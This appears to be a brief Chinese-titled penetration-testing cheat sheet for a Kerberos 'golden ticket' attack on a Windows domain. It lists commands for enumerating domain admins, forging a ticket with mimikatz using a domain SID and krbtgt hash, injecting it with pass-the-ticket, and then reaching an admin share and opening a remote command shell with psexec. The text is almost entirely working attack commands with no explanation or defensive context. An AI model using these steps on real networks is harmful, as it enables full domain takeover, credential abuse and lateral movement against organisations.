域渗透的金之钥匙

C:\Users\hydra>net group "domain admins" /domain

C:\Users\hydra>whoami /user

mimikatz # kerberos::purge
mimikatz # kerberos::golden /admin:Administrator /domain:pentstlab.com /sid:S-1-5-21-3883552807-251258116-2724407435 /krbtgt:6a8e501fabcf264c70ef3316c6aab7dc /ticket:Administrator.kiribi
mimikatz # kerberos::ptt Administrator.kiribi
mimikatz # kerberos::tgt

E:\>net use \\WIN-0DKN2AS0T2G\c$
E:\>psexec.exe \\WIN-0DKN2AS0T2G cmd